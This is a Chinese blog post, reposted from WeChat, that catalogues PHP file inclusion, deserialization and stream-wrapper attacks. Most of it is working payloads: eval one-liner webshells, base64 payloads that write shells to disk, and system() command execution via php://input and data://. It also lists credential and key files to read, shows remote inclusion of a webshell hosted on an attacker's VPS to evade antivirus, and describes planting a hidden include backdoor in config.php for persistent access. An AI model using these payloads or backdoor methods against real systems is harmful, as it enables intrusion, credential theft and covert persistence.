原文:https://mp.weixin.qq.com/s/17DWHj3PF-mrYzMFAwZtTw
以下主要是近期对php一些常见漏洞的梳理,包含php文件包含、php反序列化漏洞以及php伪协议。其中 :





    1. # php反序列参考链接:https://www.cnblogs.com/xiaoqiyue/p/10951836.html# php伪协议参考链接:https://www.cnblogs.com/endust/p/11804767.html

一、php文件包含漏洞

在开发中,开发人员会将一些重复使用的代码函数汇总放到单个文件中,需要使用某个函数时直接调用此文件。这个调用过程称为文件包含。为了使代码更灵活,将被包含的文件设置为变量用来进行动态调用。这就导致客户端可以调用一个恶意文件,造成文件包含漏洞。文件包含漏洞在php中居多。造成执行任意代码、包含恶意文件控制网站、敏感文件读取等危害

1.常见包含函数**

  • include():执行到include时才包含文件,找不到被包含文件时产生警告,但是脚本继续执行。
  • require():程序一运行就包含文件,找不到被包含的文件产生致命错误,脚本停止运行
  • include_once&require_once():这两个函数行为与include/require类似,区别在于他们只做一次包含,即如果文件中代码已经被包含则不会再次被包含

2.利用条件

  • 程序用include()等文件包含函数通过动态变量的方式引入需要包含的文件
  • 用户能够控制该动态变量
  • 配置文件php.ini中参数allow_url_fopen=open,此参数默认为open
  • 远程包含则需要php.ini中参数allow_url_include=open,此参数默认为close

3.包含分类

  • 本地文件包含:上传带有shell代码的任意格式文件,利用文件包含漏洞将该文件当作脚本格式解析。
  • 远程文件包含:在远程服务器上放置大马以此绕过杀软提权

4.利用方法

  • 包含日志文件getshell
  • 包含data:或php://input等伪协议
  • 若有phpinfo则可以包含临时文件
  • 如果一个网站有文件包含但是无法getshell,尝试在旁站上上传图片马,然后进行文件包含拿shell

5.实例
假如目标网站有news.php文件,文件内容为:

  1. <?
  2. php$test=$_GET['id'];
  3. include($test);
  4. ?>

此时该文件存在文件包含漏洞。include函数通过动态变量的方式引入需要包含的文件,若用户能控制该变量;在同级目录下上传test.txt文件,内容为:


    1. <?php phpinfo()?>
  • 此时访问测试:http://192.168.1.3/fileinclude/news.php?id=test.txt。将test.txt文件传送给id参数并复制给test变量,然后txt文件被当作php脚本脚本文件执行。

  • 同时也可以任意包含,根据物理路径读取服务器敏感文件:
  1. # 常见敏感文件l
  2. http://192.168.1.3/fileinclude/news.php?id=c:\\1.txt
  3. www.test.com/test.php?test=../../../../../etc/passwod
  4. www.test.com/test.php?test=/etc/shadow
  5. www.test.com/test.php?test=/etc/php5/apache2/php.ini
  6. www.test.com/test.php?test=/etc/mysql/my.cnf
  7. www.test.com/test.php?test=/etc/apache2/apache2.conf
  8. ------------------------------------------------------------------------------
  9. windows敏感文件:
  10. c:\\boot.ini
  11. # 查看系统版本
  12. c:\\windows\\system32\\inetsrv\\metabase.xml
  13. # 查看iis配置文件
  14. c:\\windows\\repair\\sam
  15. # 存储系统初次安装的密码
  16. c:\\program files\\mysql\\my.ini
  17. # mysql配置文件
  18. c:\\program files\\mysql\\data\\mysql\\user.myd
  19. # mysql root密码
  20. c:\\windows\\php.ini
  21. # php配置信息
  22. c:\\windows\\my.ini
  23. # mysql配置信息
  24. -------------------------------------------------------------------------------
  25. /root/.ssh/authorized_keys
  26. /root/.ssh/id_rsa
  27. /root/.ssh/id_ras.keystore
  28. /root/.ssh/known_hosts
  29. /etc/passwd
  30. /etc/shadow
  31. /etc/my.cnf
  32. /etc/httpd/conf/httpd.conf
  33. /root/.bash_history
  34. /root/.mysql_history
  35. /proc/self/fd/fd[0-9]*(文件标识符)
  36. /proc/mounts
  37. /porc/config.gz

6.附加后缀截断

例如包含读取/etc/passwd文件,网站源码会给一个后缀形成如:/etc/passwd.php,导致无法读取文件内容。具体代码如下,此时该代码存在文件包含漏洞,由于在漏洞利用被包含的文件会被添加上.php后缀,无法直接利用。





    1. <
    2. ?php$test=$_GET['id'];
    3. include($test).'.php';
    4. ?>

    绕过方法一:%00截断


    1. http://www.test.com/test/a.php?c=1.txt%00

    PHP一些常见的漏洞梳理 - 图1
    注意:%00截断包含适合php版本<5.3.4,对应版本的配置文件magic_quotes_gps=off,才能够进行绕过,否则%00会被转义。

绕过方法二:文件名附加./././././.进行长度截断


    1. http://www.test.com/test/a.php?c=1.txt/././././././././././././././././././....
    PHP一些常见的漏洞梳理 - 图2

注意:Windows服务器字节长度应大于256,Linux要大于4096


7.包含日志拿shell

  1. #文件包含漏洞读取apache配置文件
  2. index.php?page=/etc/init.d/httpd
  3. index.php?page=/etc/httpd/conf/httpd.conf
  4. #Linux默认访问url的日志
  5. /var/log/httpd/access_log
  6. #网站访问日志无权限访问,但是cms本身会记录错误日志,这种日志可以访问

拿shell步骤

  • 访问../file.php?id=1<?php @eval($_POST[a]);?>
  • 后台在/var/log/httpd/acess_log 会生成带有一句话的日志,相当与将一句话以.log形式写入了网站目录
  • 然后根据文件包含漏洞>连接../file.php?file=…/…/…/…/var/log/httpd/acess_log,getshell

实例:ekucms某版本存在文件包含漏洞
①通过访问该url,将一句话木马写入日志文件中


    1. http://192.168.1.3/ekucms2.4.1/?s=my/show/id/{~eval($_POST[x])}
    PHP一些常见的漏洞梳理 - 图3

②该日志是以时间日期命名的,用菜刀连接该日志文件,得到shell


    1. http://192.168.1.3/ekucms2.4.1/?s=my/show/id/\..\temp\logs\20_05_18.log
    image.gif

8.读源代码

直接读取php文件返回的是代码编译解析后的结果,并不能看到源代码。


    1. http://192.168.1.3/news.php?id=shell.php
    PHP一些常见的漏洞梳理 - 图5
    此时可以使用封装伪协议读取: ```

http://192.168.1.3/news.php?id=php://filter/read=convert.base64-encode/resource=shell.php //核心代码:id=php://filter/read=convert.base64-encode/resource= //读出源代码,原理是将文件内容进行base64加密,使代码不运行解析,直接读出源代码。

  1. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663291-645ae1b4-7d34-4015-ab3e-da6e415fd99f.png#align=left&display=inline&height=649&margin=%5Bobject%20Object%5D&originHeight=649&originWidth=1080&size=0&status=done&style=none&width=1080)
  2. ---
  3. **<br />**9.远程文件包含**<br />远程文件包含文件名不能为php可解析的扩展名。另外远程文件包含要确保php.iniallow_url_fopenallow_url_include状态为on。为躲避杀软将大马放到自己的vps上然后远程包含。<br />![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663336-d7c7f642-7239-4b14-8ca5-b9611a8951e9.png#align=left&display=inline&height=100&margin=%5Bobject%20Object%5D&originHeight=100&originWidth=1080&size=0&status=done&style=none&width=1080)
  4. - <br />

http://192.168.1.3/1.php?file=http://www.xxxx.com/1.png

  1. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663302-65d0e714-550b-45ac-971d-1658d5be482c.png#align=left&display=inline&height=218&margin=%5Bobject%20Object%5D&originHeight=218&originWidth=1080&size=0&status=done&style=none&width=1080)
  2. **远程包含限制绕过后缀名限制:**

源代码

<?php include($_GET[‘filename’] . “.html”); ?>

  1. 与本地包含类似,如果源码存在后缀名限制,直接进行远程包含的话会报错如下:<br />![image.gif](https://cdn.nlark.com/yuque/0/2020/gif/582691/1599655663690-c31bedef-6991-4591-821d-64ae532783dd.gif#align=left&display=inline&height=1&margin=%5Bobject%20Object%5D&name=image.gif&originHeight=1&originWidth=1&size=70&status=done&style=none&width=1)
  2. **绕过方法:**<br />**

filename=http://www.xxx.com/FI/php.txt? filename=http://www.xxx.com/FI/php.txt%23 filename=http://www.xxxi8.com/FI/php.txt%20 filename=http://www.xxx.com/FI/php.txt%00

  1. ![image.gif](https://cdn.nlark.com/yuque/0/2020/gif/582691/1599655663688-b63e5030-3348-4115-a0b3-85e4d421ad0e.gif#align=left&display=inline&height=1&margin=%5Bobject%20Object%5D&name=image.gif&originHeight=1&originWidth=1&size=70&status=done&style=none&width=1)<br />![image.gif](https://cdn.nlark.com/yuque/0/2020/gif/582691/1599655663690-0ed41920-f9c2-4860-ac16-ec7f72007428.gif#align=left&display=inline&height=1&margin=%5Bobject%20Object%5D&name=image.gif&originHeight=1&originWidth=1&size=70&status=done&style=none&width=1)![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599656006288-f930a042-62bb-4b9f-be3d-bea923330462.png#align=left&display=inline&height=172&margin=%5Bobject%20Object%5D&originHeight=172&originWidth=1080&size=0&status=done&style=none&width=1080)<br />![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599656013984-55eb7204-3030-486a-98ea-b14501abe7d2.png#align=left&display=inline&height=178&margin=%5Bobject%20Object%5D&originHeight=178&originWidth=1080&size=0&status=done&style=none&width=1080)![image.gif](https://cdn.nlark.com/yuque/0/2020/gif/582691/1599655663696-d1da264b-0a16-4bf9-ad52-2b396dcbaf39.gif#align=left&display=inline&height=1&margin=%5Bobject%20Object%5D&name=image.gif&originHeight=1&originWidth=1&size=70&status=done&style=none&width=1)
  2. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599656018797-ca2a69de-405b-489f-b1ee-b690ab9da620.png#align=left&display=inline&height=174&margin=%5Bobject%20Object%5D&originHeight=174&originWidth=1080&size=0&status=done&style=none&width=1080)<br />![image.png](https://cdn.nlark.com/yuque/0/2020/png/582691/1599656043713-bff32ea2-12d5-46e2-8418-a51a51e00e87.png#align=left&display=inline&height=144&margin=%5Bobject%20Object%5D&name=image.png&originHeight=144&originWidth=688&size=187957&status=done&style=none&width=688)
  3. ---
  4. <a name="UngrW"></a>
  5. ## **利用远程文件包含进行权限维持**
  6. include代码不会报毒。所以我们在getshell后在网站配置文件中写入包含代码(如:config.php,<?php include($_GET['x']);?>管理员一般不会修改配置文件源代码)里面插入文件包含代码。如果目标allow_url_fopenallow_url_include状态都为on。既可以永久进行远程包含,达到权限维持的目的。
  7. ---
  8. <a name="QVpTF"></a>
  9. # **二、漏洞梳理篇之php反序列化漏洞**
  10. ---
  11. **<br />**1.序列化函数serialize()**<br />序列化的目的是方便数据的传输和存储。当在php中创建了一个对象后,可以通过serialize()函数把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下;

<?php class chybeta{ var $test = ‘123’; } $class1 = new chybeta; $class1_ser = serialize($class1); print_r($class1_ser); ?>

创建一个对象,然后序列化并输出

  1. 代码执行输出结果:_O:7:“chybeta”:1:{s:4:“test”;s:3:“123”;}_<br />![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663346-5edae4fd-2786-48a2-9f84-9b1af06f2a3f.png#align=left&display=inline&height=119&margin=%5Bobject%20Object%5D&originHeight=119&originWidth=779&size=0&status=done&style=none&width=779)<br />返回结果中各字符的含义分别为:

O 代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。 7 表示对象的名称有7个字符。”chybeta”表示对象的名称。 1 表示有一个值 {s:4:”test”;s:3:”123”;}中, s 表示字符串 4 表示该字符串的长度, “test” 为字符串的名称 “123” 为字符串的内容

  1. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663415-f2706298-a75f-44a2-88c6-7299ced40218.png#align=left&display=inline&height=441&margin=%5Bobject%20Object%5D&originHeight=441&originWidth=1080&size=0&status=done&style=none&width=1080)
  2. ---
  3. **2.反序列化函数unserialize()**<br />与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象。测试代码:

<?php class chybeta{ var $test = ‘123’; } $class2 = ‘O:7:”chybeta”:1:{s:4:”test”;s:3:”123”;}’;
print_r($class2); echo “
“; $class2_unser = unserialize($class2); print_r($class2_unser); ?>

给定一串序列化后的字符将其反序列化并打印

  1. 执行结果:<br />![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663459-9cb3b9b9-4278-4ce7-b7a7-6844da7ec851.png#align=left&display=inline&height=172&margin=%5Bobject%20Object%5D&originHeight=172&originWidth=920&size=0&status=done&style=none&width=920)
  2. 当传给unserialize()函数的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
  3. ---
  4. **3.php反序列化漏洞**<br />由于未对用户输入的序列化字符串进行检测,导致攻击者控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。<br />**漏洞触发条件:**
  5. - unserialize函数的变量可控<br />
  6. - php文件中存在可利用的类<br />
  7. - 类中有魔术方法。<br />
  8. php中有一类特殊的方法叫“Magic function”,在反序列化的过程中会自动触发这些魔术方法。
  9. - __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的<br />
  10. - __destruct():当对象被销毁时会自动调用<br />
  11. - __wakeup() unserialize()时会自动调用<br />
  12. unserialize()导致__wakeup()或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码存在于__wakeup()或__destruct()等构造函数中,当我们控制序列化字符串时可以去直接触发它们。
  13. 针对 __wakeup() 场景实验,序列化漏洞代码如下:

<?php class chybeta{ var $test = ‘123’; function __wakeup(){ $fp = fopen(“shell.php”,”w”) ; fwrite($fp,$this->test); fclose($fp); } } $class3 = $_GET[‘test’]; print_r($class3); echo “
“; $class3_unser = unserialize($class3); ?>

  1. **<br />**反序列化漏洞思路**<br />1.本地搭建好环境后,通过 serialize() 得到我们要的序列化字符串,例如这里序列化phpinfo得到序列化内容为:_**O:7:“chybeta”:1:{s:4:“test”;s:19:"<?php phpinfo(); ?>";}**_
  2. 2.执行含有php反序列化漏洞的代码,即访问http://localhost/index.php?test=O:7:%22chybeta%22:1:{s:4:%22test%22;s:19:%22%3C?php%20phpinfo();?%3E%22;}
  3. 3.通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,调用unserialize()函数,通过__wakeup()执行代码将传入的参数进行反序列化处理如下图,成功显示了phpinfo页面:在反序列化该数据时,自动触发了构造函数,执行 phpinfo():<br />![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663436-c468d356-13df-4a51-9ba2-843cee16b811.png#align=left&display=inline&height=900&margin=%5Bobject%20Object%5D&originHeight=900&originWidth=1080&size=0&status=done&style=none&width=1080)
  4. ---
  5. **三、漏洞梳理篇之php伪协议**
  6. <a name="GEjME"></a>
  7. ## **1.环境概要:**
  8. PHP伪协议指的是PHP所支持的协议与封装协议,在web渗透漏洞利用中常用于配合文件包含进行web攻击,从而获取网站权限。
  9. **①php.ini配置文件参数:**
  10. - allow_url_fopen on #默认开启 ,表示允许url里的封装协议访问文件;<br />
  11. - allow_url_includeoff #默认关闭,表示不允许包含url里的封装协议包含文件;<br />
  12. **②常用伪协议条件及方法**
  13. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663430-4e66ce31-f862-4ee7-b888-27f71548daec.png#align=left&display=inline&height=251&margin=%5Bobject%20Object%5D&originHeight=251&originWidth=1080&size=0&status=done&style=none&width=1080)
  14. **③注意点**
  15. - 各个伪协议适用php版本不尽相同,以下实验环境php版本在5.2~5.7之间疯狂来回切换,到最后已经无法总结各协议实验成功所使用的php版本。**总之:php>5.2.0**<br />
  16. - 以下所有实例均使用Firefox浏览器<br />
  17. ---
  18. <a name="EBuwj"></a>
  19. ## **2.伪协议实例**
  20. <a name="RgXT5"></a>
  21. ### **①php://input**
  22. php://input 是可以访问请求原始数据的只读流。在POST 请求的情况下,由于php://input不依赖于特定的php.ini指令,可以使用它代替 $HTTP_RAW_POST_DATA<br />**<br />**注意点**
  23. - input必须以post请求<br />
  24. - enctype=“multipart/form-data 的时候 php://input 是无效的<br />
  25. - allow_url_include=on<br />
  26. **实例一:php://input将文件包含漏洞变成代码执行漏洞**<br />1)目标网站存在包含漏洞
  27. - <br />

<?php @include($_GET[“file”])?>

  1. 2)使用php://input,将执行代码通过在POST data中提交。形成命令执行
  2. - <br />

<?php system(‘ipconfig’);?>

  1. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663430-ca283404-ced7-4ee1-b53a-e5b8a20f385a.png#align=left&display=inline&height=177&margin=%5Bobject%20Object%5D&originHeight=177&originWidth=1080&size=0&status=done&style=none&width=1080)
  2. ---
  3. **实例二:php://input利用文件包含写入shell**<br />1)目标网站存在包含漏洞
  4. - <br />

<?php @include($_GET[“file”])?>

  1. 2)使用php://input,将执行代码通过在POST data中提交

post方式提交

<?php echo file_put_contents(“test.php”,base64_decode(“PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4=”)); ?>

  1. 执行成功会在当前目录下生成一句话shell,可直接连接<br />![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663406-60be0ec2-dcda-4215-8abd-64ed790ffe22.png#align=left&display=inline&height=388&margin=%5Bobject%20Object%5D&originHeight=388&originWidth=1080&size=0&status=done&style=none&width=1080)
  2. ---
  3. **实例三:php://input协议直接写入shell**<br />1)含有php://input的代码漏洞文件:

<?php $data = file_get_contents(‘php://input’); eval($data); ?>

  1. POST直接传参执行php代码:<br />![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663406-168022b2-5f78-4591-bc42-264138d61d65.png#align=left&display=inline&height=343&margin=%5Bobject%20Object%5D&originHeight=343&originWidth=1080&size=0&status=done&style=none&width=1080)<br />同理,这里在post数据提交生成shell的代码,会在同级目录下生成shell:
  2. - <br />

echo file_put_contents(“ceshi.php”,base64_decode(“PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4=”));

  1. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663433-6769987c-c934-4399-afa2-16836c933a57.png#align=left&display=inline&height=336&margin=%5Bobject%20Object%5D&originHeight=336&originWidth=1080&size=0&status=done&style=none&width=1080)
  2. ---
  3. <a name="dVksb"></a>
  4. ###
  5. <a name="KKb1l"></a>
  6. ### **②data:URL代码执行**
  7. 将攻击代码转换为data:URL形式进行攻击,以传递相应格式的数据用来执行PHP代码。为了防止直接在URL连接中的一些敏感字符被waf检测拦截,可将攻击代码进行base64编码。

文件包含代码:

<?php include $_GET[‘file’]?>
访问执行: 127.0.0.1/1.php?file=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==

  1. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663419-116b3a5d-941a-4b6d-b8f8-0188a486919a.png#align=left&display=inline&height=263&margin=%5Bobject%20Object%5D&originHeight=263&originWidth=1080&size=0&status=done&style=none&width=1080)<br />条件:allow_url_include = on&allow_url_fopen()=on& PHP >= 5.2.0
  2. ---
  3. <a name="HlCdo"></a>
  4. ### **③php://filter读取源代码**
  5. php://filter用于读取网站源码。读取php文件源码内容(直接包含脚本格式文件会解析无法直接获取文件源码)。用法:
  6. - <br />

?file=php://filter/read=convert.base64-encode/resource=1.php

  1. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663379-19fe4d37-dd70-4269-a3a6-fbb4c2bf0867.png#align=left&display=inline&height=619&margin=%5Bobject%20Object%5D&originHeight=619&originWidth=1003&size=0&status=done&style=none&width=1003)
  2. ---
  3. <a name="RSP0M"></a>
  4. ### **④file://物理路径包含文件**
  5. file://协议在allow_url_fopen,allow_url_include都为off的情况下也可以正常使用:
  6. - <br />

?file=file:///C:\phpStudy\WWW\fileinclude\2\1.txt

  1. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663491-91f15922-4c5f-4f3f-a57f-b9fdc755e1e9.png#align=left&display=inline&height=373&margin=%5Bobject%20Object%5D&originHeight=373&originWidth=1080&size=0&status=done&style=none&width=1080)
  2. ---
  3. <a name="wHUzm"></a>
  4. ### **⑤data://:利用文件包含&data://进行命令执行**
  5. - <br />

?file=data://text/plain,%3C?php%20system(%27whoami%27);?%3E

  1. ![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663412-14fdfc01-46ed-4b95-89d9-b5853784360c.png#align=left&display=inline&height=173&margin=%5Bobject%20Object%5D&originHeight=173&originWidth=1080&size=0&status=done&style=none&width=1080)
  2. ---
  3. **⑥zip://绕过文件包含下的附加后缀**<br />以下两串代码是对文件后缀进行验证或修改然后再进行包含。对于此类情况,如果要包含非预定文件后缀的文件,可以通过%00截断进行绕过。但是%00截断在php版本5.3.4之后就失效了,而且还要考虑GPC,限制比较严重。除此之外,可以通过zip协议和phar协议来包含文件,突破附加后缀限制。

验证包含对象文件后缀是否为jpg,如果是才进行包含

<?php $file = $_GET[‘file’]; if(isset($file) && strtolower(substr($file, -4)) == “.jpg”){ include($file); } ?>

直接为包含对象添加jpg后缀,然后进行包含

<?php $file = $_GET[‘file’]; include($file.’.jpg’); ?>

  1. **绕过方法:**<br />1)实战情况下向目标站点上传zip文件,里面压缩着一个jpg格式的php脚本<br />![](https://cdn.nlark.com/yuque/0/2020/png/582691/1599655663464-1aac9efe-a222-48a2-a449-d204440fa065.png#align=left&display=inline&height=201&margin=%5Bobject%20Object%5D&originHeight=201&originWidth=947&size=0&status=done&style=none&width=947)
  2. 2)构造zip://php.zip#php.jpg,进行zip://伪协议绕过后缀名限制。这里将压缩文件里面的内容修改为在当前目录下生成一句话即可getshell。
  3. - <br />

?file=zip://php.zip%23php.jpg ``` PHP一些常见的漏洞梳理 - 图6